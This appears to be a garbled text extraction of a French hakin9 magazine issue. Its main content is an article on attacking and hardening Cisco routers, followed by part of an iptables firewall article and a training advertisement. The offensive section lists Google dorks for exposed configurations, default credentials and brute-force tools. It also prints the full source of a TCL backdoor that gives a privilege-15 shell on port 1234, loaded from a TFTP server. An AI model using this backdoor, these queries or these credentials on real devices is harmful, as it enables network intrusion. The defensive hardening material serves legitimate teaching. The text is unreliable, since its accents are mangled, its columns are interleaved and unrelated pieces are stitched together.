Cette diffeacuterentiation entre les diffeacuterents types de tra-fic est neacutecessaire pour comprendre leffet de ces types de trafic sur la plate-forme Les routeurs ou commu-tateurs Cisco traitent la grande majoriteacute des flux de transport dans des modules hardware deacutedieacutes sauf quelques paquets qui ont besoin de traitement speacutecial comme les paquets avec un TTL (Time To Live) infeacute-rieur ou eacutegal agrave un ou les paquets IP avec options

Une plate-forme Cisco est geacuteneacuteralement composeacutee des eacuteleacutements suivants

bull RAM (Random-Access Memory) utiliseacute pour stoc-ker des informations opeacuterationnelles comme les ta-bles de routage le fichier de configuration en cours dexeacutecution Son contenu est perdu si la machine est eacuteteinte ou redeacutemarreacutee

bull NVRAM (NonVolatile RAM) utiliseacute pour enregis-trer le fichier de configuration de deacutemarrage Son contenu nest pas perdu si la machine est eacuteteinte ou redeacutemarreacutee

bull Flash Contient limage du systegraveme dexploitationbull CPUbull ROM (Read Only Memory) utiliseacute pour enregistrer

le programme de deacutemarrage le systegraveme dexploita-tion et les programmes de test

bull Registres de configuration utiliseacute pour changer le comportement du routeur (deacutemarrer agrave partir du ROM ou NetBoot deacutefinir les options de deacutemarrage deacutefinir la vitesse de la console )

bull Interfaces

La compreacutehension de larchitecture hardware sert agrave deacuteterminer les types de paquets susceptibles de per-mettre une compromission de la machine ou de causer un deacuteni de service il est par exemple possible quune vulneacuterabiliteacute ne cause pas le crash de toute la machi-

Seacutecuriteacute CiSCOCisco propose une varieacuteteacute tregraves importante de produits et plates-formes elle est principalement connue pour ses routeurs et commutateurs tregraves performants Le nombre de services utiliseacutes et protocoles impleacutementeacutes peut transformer la plate-forme en cible facile Cisco propose cependant plusieurs meacutecanismes de durcissement Cet article se consacre aux principaux vecteurs dattaques contre ces plates-formes et propose les meacutecanismes les plus communs pour les seacutecuriser

Cet article expliquebull Architecture Hardware et Software des routeurs et commuta-

teurs CISCObull Vecteurs dattaques contre les routeurs et commutateurs CI-

SCObull Meacutecanismes de deacutefense et preacutevention existants sur lIOS CI-

SCO

Ce quil faut savoirbull Connaissance de base en CLI CISCObull Connaissance de base sur le routage et les protocoles mana-

gement (SSH SNMP )

alaeddine Mesbahi

Seacutecuriteacute CiSCO

hakin9orgfr 13

utiliseacute lIOS utilise massivement de la meacutemoire parta-geacutee accessible par tous les processeurs

La meacutemoire est subdiviseacutee en reacutegion aux fonctionne-ments diffeacuterents

bull Itext Code exeacutecutable du systegraveme dexploitation bull IData Variables initialiseacutees bull Local Structure de meacutemoire standard locale bull IBss Donneacutee non initialiseacutee bull Flash Stockage de limage de lOS bull PCI Meacutemoire visible sur le bus PCI bull IOMEM Meacutemoire partageacutee visible au CPU princi-

pal et aux interfaces de controcircle reacuteseau

approche offensiveDynamips est un outil open-source capable deacutemuler un routeur Cisco agrave partir dun veacuteritable IOS Lavantage dutiliser un outil deacutemulation et non de simulation est de reproduire le vrai fonctionnement dun routeur ou drsquoun commutateur Cisco (cf Lisitng 1)

Il est cependant agrave noter que Dynamips a des limita-tions car incapable deacutemuler des fonctionnaliteacutes comme le spanning tree ou le DTP (Dynamic Trunk Protocol)

ne mais uniquement des modules dacceacuteleacuteration hard-ware

De plus deacuteterminer les types de paquets consom-mateurs de ressources (TTL=0 paquets avec options hellip) permet de cibler les attaques de deacuteni de service et daugmenter leur efficaciteacute

architecture SoftwareLIOS Cisco est un systegraveme dexploitation monolithique cest-agrave-dire que lensemble des fonctions et des pilotes sont regroupeacutes dans un seul bloc binaire agrave la compi-lation Derniegraverement Cisco a proposeacute des IOS modu-laires mais la majoriteacute des OS Cisco restent monolithi-ques

Il existe environ 20000 versions de lIOS Cisco point important agrave savoir pour le travail sur lexploitation dune machine car les adresses de retour les fonctionnaliteacutes et le code diffegraverent dune version agrave lautre

Larchitecture du systegraveme dexploitation est tregraves sim-ple elle est composeacutee du Kernel du code des peacuteripheacute-riques dont le code responsable de la commutation ra-pide et finalement des processeurs

Aucun meacutecanisme de protection de la meacutemoire nest

Listing 1 Emulation dun routeur Cisco

dynamips-027-x86bin -t npe-400 -p 1PA-A1 -p 2PA-4E -p 3PA-8E c7200-jk9s-mz124-18cbin

Cisco Router Simulation Platform (version 027-x86)

Copyright (c) 2005-2007 Christophe Fillot

Build date May 26 2007 115128

IOS image file c7200-jk9s-mz124-18cbin

CPU0 carved JIT exec zone of 64 Mb into 2048 pages of 32 Kb

NVRAM is empty setting config register to 0x2142

C7200 instance default (id 0)

VM Status 0

RAM size 256 Mb

IOMEM size 0 Mb

NVRAM size 128 Kb

NPE model npe-400

Midplane vxr

IOS image c7200-jk9s-mz124-18cbin

Loading ELF file c7200-jk9s-mz124-18cbin

ELF entry point 0x80008000

C7200 default starting simulation (CPU0 PC=0xffffffffbfc00000) JIT enabled

ROMMON emulation microcode

Launching IOS image at 0x80008000

Self decompressing the image

[OK]

6201014

Pratique

Dynamips marche aussi bien sur Windows que sur Linux ou Unix il a besoin dune version de lIOS Cisco

Dynamips a eacuteteacute compleacuteteacute par dautres outils (Dyan-gen et GNS3) qui facilitent linterconnexion de plusieurs routeurs virtuels et permettent de simuler plus facile-ment tout un reacuteseau sur une seule machine

Leacutemulation dun routeur est un excellent moyen pour se familiariser avec la ligne de commande Cisco et les diffeacuterents services quils proposent

Pour des besoins de debugging et pour mieux com-prendre le fonctionnement des processeurs et du Ker-nel lIOS Cisco supporte le protocole GDB de debug-ging et ce agrave travers une connexion agrave linterface seacuterie GDB existe aussi sur TCP malheureusement Cisco ne le supporte pas

Limpleacutementation du protocole est leacutegegraverement diffeacute-rente de la version GNU Vous pouvez cependant utili-ser loutil BinNavi de Zynamics supportant diverses im-pleacutementations de GDB

Pour activer le protocole GDB utilisez la comman-de gdb kernel et lancez votre outil de debugging en seacuterie

Deacutecouverte et eacutenumeacuterationCette partie sinteacuteresse aux techniques de deacutecouverte et deacutenumeacuteration propre au monde des routeurs et du routage les techniques de deacutecouverte active avec des outils comme nmap sont assez connus et ont deacutejagrave eacuteteacute abordeacutees dans dautres articles

Larticle se focalisera sur le googleHacking sur leacutenu-meacuteration BGP et AS et sur lextraction dinformations agrave partir des protocoles de routage utiliseacutes

Googlehacking cette technique efficace pour collec-ter des informations et trouver des plates-formes vulneacute-rables sappuie sur une bonne connaissance des opeacute-rateurs Google (voir Table 1)

Le tableau est une liste reacuteduite des principaux opeacutera-teurs il est eacutegalement possible dutiliser des fonction-naliteacutes de recherches avanceacutees en manipulant lURI de google

Le grand inconveacutenient de cette technique est le nom-bre de fausses alertes il est donc important de sarmer

de patience et dessayer petit agrave petit dameacuteliorer leffica-citeacute des mots rechercheacutes

Le principe pour trouver des fichiers de configuration est assez simple rechercher des commandes utiliseacutes dans un fichier de configuration des extensions don-neacutees aux fichiers de configuration (cfg conf log txt) et des mots cleacutes en relation dans lURI (-cfg cisco conf )

Voici une liste non exhaustive des diffeacuterentes expres-sions que vous pouvez utiliser pour trouver des fichiers de configuration vous pouvez vous en inspirer pour trouver dautres expressions plus efficaces (cf Listing 2)

Cette technique tregraves simple permet aux script-kid-dies de trouver des cibles faciles Cependant la majo-riteacute des fichiers de configuration trouvables sur google restent inexploitables (utilisation dadressages priveacutes RFC1918 proteacutegeacutes par des pare-feux ou tregraves anciens et plus utiliseacutes)

Routage collecter des informations sur le routage dune organisation permet de mieux comprendre son in-frastructure reacuteseau ses points dinterconnexions et sa reacutesilience contre les attaques de deacuteni de service

Les informations sur le peering et le routage BGP sont facilement disponibles sur des sites comme rob-tex nous pouvons en deacuteduire les opeacuterateurs dune en-treprise les scopes IP alloueacutes et la distribution de trafic par lien

Les registres de routages et les looking glass sont aussi des sources preacutecieuses dinformations elles per-mettent de mener des tests de ping et traceroute afin de deacutetecter deacuteventuelles regravegles de filtrage et donnent une meilleure cartographie du reacuteseau

Des outils comme ASS et Polyphemus permettent de collecter des informations sur les protocoles internes de routage (OSPF RIP hellip) et didentifier les protocoles uti-liseacutes et le niveau de seacutecuriteacute appliqueacute (cf Listing 3)

exploitation et maintien daccegravesLa meacutethode la plus simple et la plus directe pour ex-ploiter nimporte quelle plate-forme consiste agrave trouver des services de gestion exemple du Telnet ou SSH

table 1 Liste opeacuterateurs Google

Opeacuterateur Description Exemplesite Appliquer la recherche sur le site indiqueacute

seulementURPF sitewwwciscocom

filetype Chercher les fichiers du type indiqueacute Google search cheat sheet filetypepdf

inurl LURL contient le mot rechercheacute laquoCisco confraquo inurlforum

related Lister les sites web similaires Relatedwwwsecurityfocuscom

intext Le site contient les mots rechercheacutes Intextlaquoenable password 7raquo

cache Acceacuteder agrave la version en cache sur les se-rveurs google

cachewwwsecurity-databasecom

intitle Chercher dans les titres des pages web intitleindexof ios parent directory bin

Seacutecuriteacute CiSCO

hakin9orgfr 15

et de lancer des attaques de brute force par diction-naire

Pour essayer de compromettre les mots de passe dune machine privileacutegiez les mots de passe par deacute-faut et les comptes triviaux ciscocisco adminadmin testtest

Vous serez eacutetonneacute de voir combien ces mots de passe sont utiliseacutes vous pouvez dailleurs vous en rendre compte en deacutechiffrant les mots de passe des fichiers de configuration trouvables avec le google-hacking

Hydra et cisco-torch peuvent servir pour avoir ac-cegraves agrave la machine en brute forccedilant les protocoles suivant telnet ssh web et snmp Lrsquooutil enabler permet de brute forcer laccegraves aux privilegraveges plus eacuteleveacutes

Ce type dattaque est tregraves bruyant nimporte quel outil de correacutelation de log est capable de le deacutetecter

Pour compromettre un routeur ou un commutateur Cisco il est possible dexploiter une vulneacuterabiliteacute dun des services activeacutes lIOS Cisco reste difficile agrave exploi-ter et la grande majoriteacute des vulneacuterabiliteacutes ne causent que des deacutenis de service

OSVDB CVE et SecuriyVulnentrabilitynet reacutefeacuteren-cent un tregraves grand nombre de vulneacuterabiliteacutes publieacutees et renvoient vers des codes dexploitation (packetstorm exploit-db)

Cette meacutethode digne dun script-kiddie est rare-ment efficace contre les systegravemes dexploitation Cisco car comme indiqueacute preacuteceacutedemment le grand

nombre de versions dOS rend difficile la reacutedaction de code dexploitation fonctionnat sur toutes les ver-sions

Apregraves compromission de la machine il est possible dutiliser un script TCL pour creacuteer un trojan sur la plate-forme

Voici un exemple dun trojan TCL sur le routeur (cf Listing 4)

Ce script eacutecoute sur le port 1234 vous pouvez le mo-difier en changeant la commande set port 1234 par le port que vous voulez utiliser

approche deacutefensiveDeacutesactivation des services inutiliseacutes le durcisse-ment du Management Plane commence par la deacutesac-tivation de tous les services inutiliseacutes qui sont parfois vulneacuterables ou grand consommateurs de ressources donc vecteurs dattaques de deacutenis de service (cf Lis-ting 7)

Voici une liste assez complegravete des principaux servi-ces agrave deacutesactiver

bull PADbull MOPbull Fingerbull Bootpbull DNSbull Services TCP et UDP (Echo Chargen Discard)bull Script TCLbull CDP et LLDP sur les interfaces externes

Listing 2 Requecirctes googleHacking

no service single-slot-reload-enable enable secret

5 filetypeshtml -inurlcisco

ip ftp password 05080F1C2243

filetypecfg intextcisco

inurl-cfg intextenable secret

intitlelevel15exec

Listing 3 Utilisation dASS

test ass -mA -i eth0 -D 192168110 -b15 -v

ASS [Autonomous System Scanner] $Revision 214 $

(c) 2k FX ltfxphenoelitdegt

Phenoelit (httpwwwphenoelitde)

No protocols selected scanning all

Running scan with

interface eth0

Autonomous systems 0 to 15

delay is 1

in ACTIVE mode

Building target list

192168110 is alive

Scanning

Scanning IGRP on 192168110

Scanning IRDP on 192168110

Scanning RIPv1 on 192168110

shutdown

gtgtgtgtgtgtgtgtgtgtgtgt Results gtgtgtgtgtgtgtgtgtgtgt

192168110

IGRP

AS 00010 10000 (500001111111147625510)

IRDP

192168110 (18000)

192168999 (18000)

RIPv1

10000 (1)

Listing 4 Trojan TCL ndash routeur

Routergten

Routertclsh

Router(tcl)source tftptftpservertclshtcl

6201016

Pratique

Authentification et politique de mots de passe une politique stricte de mots de passe est agrave appliquer il est preacuteconiseacute dutiliser une forme dauthentification AAA

preacutefeacuterablement Tacacs+ afin de garder une trace des actions et des modifications appliqueacutees Les mots de passe des comptes locaux doivent utiliser un chiffrage

Listing 5 Trojan TCL ndash machine drsquoaccegraves

$ telnet router 1234

Trying router

Connected to router

Escape character is ^]

-------------------------------------

TclShell v01 by Andy Davis IRM 2007

-------------------------------------

Cisco IOS Software C2600 Software (C2600-

ADVENTERPRISEK9-M) Version

124(17) RELEASE

SOFTWARE (fc1)

Current privilege level is 15

Enter IOS command

show running-config

Building configuration

Current configuration 743 bytes

version 124(17)

service timestamps debug uptime

ltCUTgt

Listing 6 Trojan TCL ndash code source

TclShelltcl v01 by Andy Davis IRM 2007

IRM accepts no responsibility for the misuse of this

code

It is provided for demonstration purposes only

proc callback sock addr port

fconfigure $sock -translation lf -buffering line

puts $sock

puts $sock -------------------------------------

puts $sock TclShell v01 by Andy Davis IRM 2007

puts $sock -------------------------------------

puts $sock

set response [exec sh ver | inc IOS]

puts $sock $response

set response [exec sh priv]

puts $sock $response

puts $sock

puts $sock Enter IOS command

fileevent $sock readable [list echo $sock]

proc echo sock

global var

if [eof $sock] || [catch gets $sock line]

else

set response [exec $line]

puts $sock $response

set port 1234

set sh [socket -server callback $port]

vwait var

close $sh

Listing 7 Deacutesactivation des services

no scripting tcl init

no scripting tcl encdir

no service tcp-small-servers

no service udp-small-servers

no ip bootp server

no ip finger

no service dhcp

no ip domain lookup

no service pad

no ip http server

no ip http secure server

no ip gratuitous arp

Listing 8 Seacutecurisation de lauthentification locale

service password encrytpion

enable secret level ltlevelgt ltpasswordgt

no enable password

security authentication failure rate 10 log

security password min-length 6

Listing 9 Configuration seacutecuriseacutee de la journalisation

logging ltaddressgt

no logging console

no logging monitor

logging source-interface loopback 0

Listing 10 Configuration seacutecuriseacutee des accegraves

line vty 0 6 ltline numbersgt

transport input ssh

transport output none

exec-timeout 5 0

access-class 140 in

ip access-list extended 140

remark Management access restriction

ltaccess-listgt

deny ip any any log

6201018

Pratique

fort type MD5 et non des mots de passe de type 7 fa-cilement deacutechiffrables

Il est eacutegalement important de configurer un timeout de connexion entre 5 et 10 minutes (cf Listing 8)

Journalisation et sauvegarde des actions la journa-lisation des eacuteveacutenements ainsi que la sauvegarde des fichiers de configuration deacutependent de la politique inter-ne de lentreprise elle-mecircme deacutependant de sa capaciteacute agrave stocker et agrave inspecter les logs geacuteneacutereacutes (cf Listing 9)

Une configuration seacutecuriseacutee commence par la deacutefini-tion dune interface source des log (souvent linterface loopback0) lactivation des timestamps (facilite la lec-ture des logs) et la deacutefinition dun niveau des logs agrave en-voyer (en fonction de la capaciteacute de stockage agrave pros-crire le niveau 7)

Il est preacuteconiseacute de deacutesactiver les logs console et logs monitor susceptibles de consommer eacutenormeacutement de ressources causant un deacuteni de service

Filtrage daccegraves aux services de controcircle il existe deux meacutethodes de gestion dune plate-forme (routeur commu-tateur serveur hellip) Inbound le flux de transport et le flux de controcircle sont sur les mecircmes interfaces ou Outbound seacuteparation des flux de controcircle et des flux de transport

Le modegravele outbound est plus seacutecuriseacute son applica-tion se traduit par linstallation de serveurs de rebond souvent accessible agrave travers un VPN Des access-list sont creacuteeacutes sur le routeur nautorisant laccegraves quagrave partir de la machine de rebond Il est eacutegalement possible de deacutefinir une interface deacutedieacutee aux protocoles de gestion permettant ainsi une seacutecuriteacute optimale

LIOS Cisco permet eacutegalement dappliquer des ac-cess-list sur les accegraves SNMP en lecture seule et en lec-ture eacutecriture nautorisant que les machines de confian-ce censeacutees acceacuteder en SNMP agrave la plate-forme (cf Listing 10)

Durcissement du Control PlaneDurcir le control plane commence par le durcissement des protocoles de routages Ce sujet est neacuteanmoins

tregraves large et tregraves complexe plusieurs meacutecanismes de seacutecuriteacute existent selon le protocole utiliseacute et son fonc-tionnement la seacutecurisation de IS-IS est diffeacuterente de la seacutecurisation dOSPF par exemple

Il est cependant important dutiliser des secrets parta-geacutes de filtrer les annonces reccedilues en bloquant les an-nonces des blocs IP internes

Les environnements commuteacutes doivent obligatoi-rement ecirctre durcis contre les attaques MITM comme lempoisonnement ARP ces attaques souvent faciles agrave mener ont un effet deacutevastateur

Lutilisation du DHCP snooping du DAI (Dynamic ARP Inspection) et du Port security permet de pallier ce risque

Proteacuteger les ressources CPU des plates-formes en assurant le traitement des flux critiques (routage et ma-nagement) est possible gracircce au CoPP ce meacutecanisme est parfois long agrave impleacutementer

Il faut configurer des ACL pour deacutefinir les cateacutegories de flux en fonction de leur importance (routage mana-gement indeacutesirable normal et autre)

Configurer des Class-map pour chaque cateacutegorie et finalement configurer des Policy-map avec les valeurs autoriseacutes est le comportement adeacutequat pour chaque ty-pe de flux

Le CoPP nagit que sur les flux traiteacutes par le CPU et ninfluence aucunement les flux de transport

Durcissement du Data PlaneLa grande majoriteacute des attaques utilisent le spoofing dadresses IP pour diverses raisons Cisco propose un meacutecanisme dantispoofing (uRPF) utilisant la table de routage Ce meacutecanisme protegravege contre le spoofing des adresses IP internes

uRPF existe en plusieurs modes (strict loose vrf hellip) selon la symeacutetrie du routage et lutilisation de routeurs virtuels

Outre le blocage du spoofing dadresses IP avec luR-PF il est preacuteconiseacute de bloquer

table 2 RFC 3330

Scope Description

00008 laquoCeraquo reacuteseau

10008 Reacuteseau priveacute RFC 1918

127000 Loopback

1692540016 Lien local

172160012 Reacuteseau priveacute RFC 1918

19202024 Reacuteseau de test

1928899024 Relais anycast IPv6 agrave IPv4

1921680016 Reacuteseau priveacute RFC 1918

198180015 Test deacutevaluation de plates-formes

2240004 Multicast

hakin9orgfr 19

bull Bloques IP du RFC3330bull Messages ICMPbull Paquets fragmenteacutes

ConclusionLa seacutecuriteacute des plates-formes Cisco est un sujet vaste et passionnant il permet de sinteacuteresser agrave la fois agrave la seacute-curiteacute reacuteseau et systegraveme Les vecteurs dattaques sont nombreux et un simple article ne peut preacutetendre agrave les couvrir tous

Seacutecuriser ces plates-formes oblige donc agrave sinteacuteres-ser au fonctionnement des protocoles utiliseacutes et de lar-chitecture Hardware et Software du systegraveme

La compromission drsquoune telle plate-forme peut ecirctre fatale les nouveaux IOS proposent de nouvelles fonc-tionnaliteacutes permettant par exemple denregistrer le tra-fic sur une interface ou un VLAN et ainsi extraire les mots de passes et les informations circulant en clair dougrave limportance de sinteacuteresser agrave leur seacutecuriteacute

Agrave PrOPOS De LauteurLauteur est eacutetudiant en troisiegraveme anneacutee agrave Telecom SudParis (ex Telecom INT) il e ectue actuellement un stage dune an-neacutee agrave Bouygues Telecom en seacutecuriteacute reacuteseau Vous pouvez le contacter agrave ladresse mail suivante alaeddinemesbahigmailcom

Sur internetbull wwwhackersforcharityorgghdb ndash Liste de requecirctes go-

oglehacksbull wwwphenoelit-usorgdpldplhtml ndash Liste de mots de pas-

se par deacutefautbull wwwsecurityvulnerabilitynet ndash Excellent moteur de re-

cherche de vulneacuterabiliteacutes (BD de vulneacuterabiliteacutes CVE)

terminologiebull AS (Autonomous System) un ensemble de reacuteseaux IP so-

us le controcircle dune seule et mecircme entiteacute typiquement un fournisseur daccegraves agrave Internet ou une plus grande or-ganisation qui possegravede des connexions redondantes avec le reste du reacuteseau Internet Wikipeacutedia

bull Looking glass serveurs accessibles agrave partir dinternet po-ur visionner des informations sur le routage et des statisti-ques sur le trafi c

bull AAA correspond agrave un protocole qui reacutealise trois fonctions lauthentifi cation lautorisation et la traccedilabiliteacute (en An-glaisAuthentication Authorization AccountingAuditing) Wikipeacutedia

19

6201020

Seacutecuriteacute reacuteSeaux

Dans le noyau 22 avec ipchains le code du pare-feu eacutetait eacuteparpilleacute au travers de la couche applica-tive reacuteseau ce qui ne facilitait pas la maintenance

Depuis les noyaux 24 la solution de filtrage Netfilter est inteacutegreacutee au noyau des distributions ce qui permet de meilleures performances et une grande faciliteacute dutilisation

Cette solution permet une analyse au niveau TCPIP et la gestion dIPV4 IPV6 IPX ARP (et bien dautre) deffectuer du filtrage la translation dadresse (NAT) ain-si que lalteacuteration de paquet (MANGLE) Par Netfilter on deacutesigne lensemble des fonctions internes du noyau qui reacutealisent les opeacuterations de filtragefirewall Iptables sert dinterface de configuration il fonctionne en mode utili-sateur Larriveacutee du mode StateFull a apporteacute un grand confort dutilisation plus de filtrage brut on met en place un systegraveme de filtrage intelligent

Fonctionnement de NetfilterLe but dun pare-feu est de bloquer filtrer router mo-difier des paquets reacuteseaux Les regravegles de configuration de Netfilter (iptables) ont eacuteteacute creacuteeacutees pour ecirctre simple dutilisation mecircme si lon verra que lon peut tregraves bien creacuteer des regravegles tregraves longues et tregraves compliqueacutees Pour ce faire des points dencrages (hook) ont eacuteteacute mis en pla-ce leur rocircle est de permettre une gestion des paquets agrave chacun des points dexploitation (voir Figure 1)

bull NF _ IP _ PRE _ ROUTING paquets entrants sur linterfa-ce

bull NF _ IP _ LOCAL _ IN paquets destineacutes agrave la machine locale

bull NF _ IP _ FORWARD paquets agrave routerbull NF _ IP _ LOCAL _ OUT paquets eacutemis depuis la machine

localebull NF _ IP _ POST _ ROUTING paquets sortants de linterface

Chacun de ces points dencrages correspond agrave une chaine que nous allons exploiter dans la conception de regravegles qui vont deacutefinir quel paquet est accepteacute ou reje-teacute (voir Figure 2)

bull NF _ IP _ PRE _ ROUTING PREROUTINGbull NF _ IP _ LOCAL _ IN INPUTbull NF _ IP _ FORWARD FORWARDbull NF _ IP _ LOCAL _ OUT OUTPUTbull NF _ IP _ POST _ ROUTING POSTROUTING

Le traitement des paquets est effectueacute de maniegravere seacute-quentielle cest agrave dire dans lordre dans lesquelles les regravegles ont eacuteteacute appliqueacutees (dougrave limportance de bien tout faire dans lordre) Le paquet sera traiteacute de la ma-niegravere suivante par le noyau

bull Reconnaissance de la Table (on traite le paquet en fonction des regravegles de la table) FILTER NAT MANGLE

bull Reconnaissance pour aiguillage (type de paquet INPUT OUTPUT)

Firewall sous linux

Maintenant que la plupart des machines sont relieacutees entre elles dans le monde via Internet les probleacutematiques de seacutecuriteacute se font grandissantes Apregraves limpact des PC-Zombies ou les intrusions via des vers telles que my-tob ou saccer la question du pare-feu ne se pose plus Nous allons voir ensemble le fonctionnement diptables sous Linux en commenccedilant par les bonnes pratiques pour finir sur la seacutecurisation dune machine connecteacutee agrave Internet

cet article expliquebull Le fonctionnement des pare-feubull Les bonnes pratiques pour la mise en place dun pare-feubull Comment configurer Netfilterbull Les fonctions de routagebull Le filtrage avec IPV6

ce quil faut savoirbull Des connaissances en administration Linuxbull Le fonctionnement des reacuteseaux et protocoles (Ethernet TCP

IP UDPIP)

Nicolas Hanteville

Firewall

hakin9orgfr 21

bull Je veux pouvoir naviguer sur les sites web normaux et seacutecuriseacutes (HTTP HTTPS)

bull Je veux pouvoir teacuteleacutecharger et envoyer des mails (SMTP POP3 IMAP)

bull Je veux pouvoir acceacuteder au transfert de fichier (FTP)

Dans le cas preacutesent si je ne prends en compte que ces demandes je vais avoir des problegravemes Ici je ne traite pas la reacutesolution adressenom il va donc falloir ajou-ter aussi lautorisation du protocole DNS Pour faire des tests reacuteseau et veacuterifier que mon routeur fonctionne bien jaurais surement besoin dICMP Si je veux tes-ter ma machine localement jaurais surement besoin dautoriser le LOOPBACK Si dans mon reacuteseau je veux administrer ma machine agrave distance via SSH il faudra aussi le prendre en compte

tableau des fluxNous allons maintenant nous attaquer agrave la premiegravere des phases de mise en place du pare-feu agrave savoir le tableau des flux Le but est de mettre en place un tableau qui repreacutesente la totaliteacute des flux que nous voulons autori-ser Dans le futur en cas deacutevolution de notre filtrage ou danalyse plus pousseacutee le travail sera simplifieacute si nous avons un tableau il permet de comprendre plus rapide-ment la politique que lon a voulu mettre en place

Pour reacutediger une regravegle nous avons besoin de plu-sieurs paramegravetres

bull Si le flux est en entreacutee (INPUT) ou en sortie (OUT-PUT)

bull Leacutetat de la connexion (nouvelle connexion suivie de connexion)

bull Le type de protocole (ICMP TCP UDP)bull Ladressage source (dougrave provient le flux)

bull Test de la validiteacute du paquet par rapport agrave la pre-miegravere regravegle si le paquet correspond agrave une autori-sation il passe (chaine ACCEPT) sil correspond agrave une interdiction il est supprimeacute (chaine DROP) si-non il passe agrave la regravegle suivante

bull Le paquet agrave traverseacute toutes les regravegles car aucune ne lui correspondait le paquet est donc traiteacute par la politique par deacutefaut (ACCEPT ou DROP)

Afin dexploiter les possibiliteacutes de Netfilter il faut creacuteer des regravegles Ces regravegles sont composeacutees de la table pour laquelle le paquet sera traiteacute de chaines qui deacute-finissent le point de traitement (INPUT OUTPUT) le protocole les ports les adresses (hellip) ainsi que le reacute-sultat de lapplication de la regravegle (ACCEPT ou DROP)

Les bonnes pratiquesAvant de commencer la reacutedaction de regravegles il est impor-tant de ne pas tomber dans la creacuteduliteacute et dire jai un pare-feu je suis proteacutegeacute

Un pare-feu cest comme avec un parapluie sil est casseacute quil y a trop de vent ou que je ne louvre pas il ne protegravege pas de la pluie

Au lieu donc de faire nimporte quoi et de partir dans des eacutelucubrations qui donneront des regravegles incoheacuteren-tes qui laisseront passer ce qui doit ecirctre filtreacute et qui filtre-ra ce qui doit passer il faut faire une liste des besoins

Dans cet article nous allons partir sur un cas tregraves sim-ple jai une machine en frontale sur internet avec une seule carte reacuteseau je veux limiter au maximum les pos-sibiliteacutes dy acceacuteder tout en me permettant de lexploiter Bien sucircr quelques modifications simples permettront dadapter ce cas au votre (sans entrer dans des archi-tectures trop complexes voir Figure 3)

Tout dabord nous allons eacutenoncer nos besoins primai-res

Figure 2 Chaines

Figure 1 Points dencrage

6201022

Seacutecuriteacute reacuteSeaux

bull Le port sourcebull Ladressage de destination (ougrave va le flux)bull Le port destination

Pour lexemple ladresse IP de la machine sera 19216802 Consultez la Table 1 table des flux cor-respondant aux besoins de notre exemple

Ici je mautorise agrave faire un PING sur toutes les machi-nes du monde mais pas agrave reacutepondre agrave un PING prove-nant dune autre machine De mecircme je nai pas repreacute-senteacute le LOOPBACK

Lorsque lon voit ce tableau et que lon a jamais fait de regravegles iptables une question se pose tout de suite quest ce que NEW ESTABLISHED ou bien RELATED veulent dire Et bien cest assez simple NEW correspond agrave la creacuteation dune nouvelle connexion ESTABLISHED signi-fie que la connexion est deacutejagrave eacutetablie et que cest la suite

et RELATED signifie que cest une nouvelle connexion en relation avec une autre connexion Lutilisation des eacutetats permet une utilisation beaucoup plus simple en effet le pare-feu est maintenant intelligent de plus certaines fonc-tionnaliteacutes sont geacutereacutees par des modules compleacutementaires (nous verrons cela dans la partie deacutedieacutee au FTP)

Pour deacuteterminer si un paquet est la reacuteponse dun autre paquet le noyau enregistre les sessions pour les visua-liser on peut utiliser loutil conntrack pour visionner son contenu conntrack -E ou more procnetip_conntrack

Format des regravegles avec iptablesVoici comment se compose une regravegle

bull iptables (Appel de la commande)bull iptables table (si aucune nest preacuteciseacutee cest la table

FILTER) exemple (ici -t FILTER) iptables -t FILTER -P INPUT DROP

bull iptables chaicircne (chaicircne de la commande) exemple (ici -P INPUT) iptables -P INPUT -j DROP

bull iptables chaicircne motifs de reconnaissance exemple (ici -s 19216801) iptables -A INPUT -s 19216801 -j DROP

bull iptables chaicircne motifs de reconnaissance cibles exem-ple (ici -j DROP) iptables -A INPUT -s 19216801 -j DROP

La table FiLterContient les regravegles de filtrage pour les paquets entrants et sortants localement sur la machine cest la table par deacutefaut si non speacutecifieacutee Elle permet lutilisation des chaicirc-nes suivantes INPUT OUTPUT FORWARD

La table NatElle gegravere la transaction dadresse et de port elle per-met de transformer notre pare-feu en routeur Elle per-met lutilisation des chaicircnes suivantes PREROUTING POSTROUTING OUTPUT Cette table nest pas utili-seacutee dans le cadre de lIPV6

La table MaNGLeCette table est tregraves utile pour effectuer du controcircle de flux (deacutebit reacuteseau et prioriteacute) ainsi que du marquage de paquets Elle permet lutilisation des chaicircnes suivantes PREROUTING INPUT FORWARD OUTPUT POS-TROUTING

La table raWRAW sert agrave placer des marques sur les paquets qui ne doivent pas ecirctre veacuterifieacutes par le systegraveme de traccedilage de connexion (utilisation de la cible NOTRACK sur le paquet) Elle permet lutilisation des chaicircnes suivantes PREROUTING OUTPUT

Fichiers et commandes importantesAfficher la liste des regravegles de filtrage en numeacuterotant les lignes et en indiquant le nombre de paquets traiteacutes sans faire de reacutesolution de port Figure 4 Sceacutenario 2

Figure 3 Sceacutenario 1

formations

Rentreacutee 2010 les incontournables

formaformaformationstionstionstionstionstionsamp Certification professionnelle

Renseignements amp Inscriptions bull Teacutel 0821 20 25 00 (prix drsquoun appel local)

bull infoglobalknowledgefr

Teacuteleacutechargez le catalogue complet sur

wwwglobalknowledgefr

Global Knowledge France - Siegravege social - Tour Albert 1er - 65 avenue de Colmar - 92507 Rueil-Malmaison cedex - Teacutel 01 78 15 34 00 - Fax 01 78 15 33 90 copy 2010 Global Knowledge Training LLC

Gestion de projet PMI Prince 2bull Introduction au management de projetsbull La gestion des projets informatiques (IT)bull PMP Bootcamp Preacuteparation agrave la certificationbull Prince 2 Foundation

Gouvernance amp Management Informatiquebull La gouvernance et performance des Systegravemes drsquoinformationbull Les tableaux de bord de la performance informatiquebull Rentabiliteacute et valeur ajouteacutee des investissements informatiquesbull Cobit Foundation et la gouvernance des SIbull ITIL v3 Foundationbull Le cas Wall Street simulation sur ITIL v3 et ISO 20000 bull ISOIEC 20000 Foundationbull ISOIEC 27002 Foundationbull Maicirctriser et accompagner les changementsbull Deacutevelopper le leadership et les qualiteacutes de pilotage des managersbull Devenez manager coach de votre eacutequipe

Formations eacuteligibles au DIF | Support de cours remis agrave chaque participant

Les Essentiels Reacuteseaux Virtualisation Voix Seacutecuriteacute

bull Les reacuteseaux architectures mise en oeuvre et perspectives bull Enjeux et solutions drsquoun environnement virtuel bull Voix sur IP les fondamentaux bull La VoIP seacutecuriseacutee bull Les fondamentaux de la seacutecuriteacute informatiquebull CISSP Preacuteparation agrave la Certification bull Hacking Defined Advanced se proteacuteger contre les agressions du SI

